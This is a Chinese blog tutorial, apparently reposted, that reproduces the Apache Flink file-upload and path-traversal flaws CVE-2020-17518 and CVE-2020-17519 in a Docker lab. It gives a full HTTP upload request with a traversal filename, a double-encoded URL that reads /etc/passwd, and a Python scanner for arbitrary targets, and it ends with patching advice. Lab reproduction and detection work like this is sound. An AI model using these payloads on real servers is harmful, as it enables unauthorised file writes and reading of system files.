Apache Flink(CVE-2020-17518/17519)任意文件上传和路径遍历漏洞复现

目录

影响范围

docker搭建漏洞环境

CVE-2020-17518漏洞复现

CVE-2020-17519漏洞复现

CVE-2020-17519 单个漏洞检测脚本

CVE-2020-17519 批量漏洞检测脚本

修复建议


      Apache Flink 是一个分布式流批一体化的开源平台。Flink 的核心是一个提供数据分发、通信以及自动容错的流计算引擎。Flink 在流计算之上构建批处理,并且原生的支持迭代计算,内存管理以及程序优化。式的数据分析开源系统,结合了分布式 MapReduce 类平台的高效,灵活的编程和扩展性,具有强大的流处理和批处理功能。同时在并行数据库发现查询优化方案。

        2021 年 1 月 5 日,Apache Flink 修复了由蚂蚁安全非攻实验室的安全研究员 0rich1 发现并报告两个高危漏洞 CVE-2020-17518 和 CVE-2020-17519

  • CVE-2020-17518: 攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)
  •  CVE-2020-17519:攻击者可以利用 JobManager 的 REST API,读取 JobManager 本地文件系统上的任意文件(JobManager 进程有权限能够读取到的文件)。

影响范围

  • CVE-2020-17518:Apache Flink 1.5.1 - 1.11.2
  • CVE-2020-17519:Apache Flink 1.11.0, 1.11.1, 1.11.2

docker搭建漏洞环境

       两个漏洞都使用flink 1.11.2的版本进行复现

搭建flink 1.11.2版本的环境

       用的ubuntu系统,编写docker-compose.yml文件,内容如下

version: '2'
services:
 flink:
   image: vulhub/flink:1.11.2
   command: jobmanager
   ports:
    - "8081:8081"
    - "6123:6123"

  执行docker-compose up -d

访问8081

CVE-2020-17518 漏洞复现

攻击者通过构造恶意的HTTP请求配合../实现目录穿越,可完成任意文件上传。

随意截取页面的数据包,替换为如下的请求包

POST /jars/upload HTTP/1.1
Host: 192.168.140.159:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 185

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

发送请求包,服务器响应400,则成功

进入到容器中查看

docker-compose exec flink bash

文件创建成功

CVE-2020-17519漏洞复现

POC:

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

CVE-2020-17519 单个漏洞检测脚本

poc.py内容如下

import argparse
import requests
global headers
headers={'cookie': 'UM_distinctid=17333bd886662-037f6fda493dae-4c302372-100200-17333bd8867b; CNZZDATA1278305074=612386535-1594299183-null%7C1594299183; PHPSESSID=drh67vlau4chdn44eadh0m16a0',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'}
class Apache_Flink():
	def url(self):
	        parser = argparse.ArgumentParser(description='Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC')
	        parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
	        args = parser.parse_args() 
	        global target_url
	        target_url = args.target_url
	        print("Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC!!")
	        print("正在执行检测...")
	        print("目标地址:",target_url)
	        return target_url
	def check(self):
		poc = r"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
		url = target_url + poc
		try:
			re = requests.get(url,headers=headers,timeout=4)
			if re.status_code==200 and "root:x" in re.text:
				print('漏洞存在')
			else:
				print('漏洞不存在')
		except:
			print('访问异常')

if __name__ == '__main__':
	flink = Apache_Flink()
	flink.url()
	flink.check()

CVE-2020-17519 批量漏洞检测脚本

大佬的POC:https://github.com/search?q=Apache+Flink%E6%A3%80%E6%B5%8B

修复建议

升级到1.11.3或1.12.0版本!

猜你喜欢

转载自blog.csdn.net/qq_44159028/article/details/112371417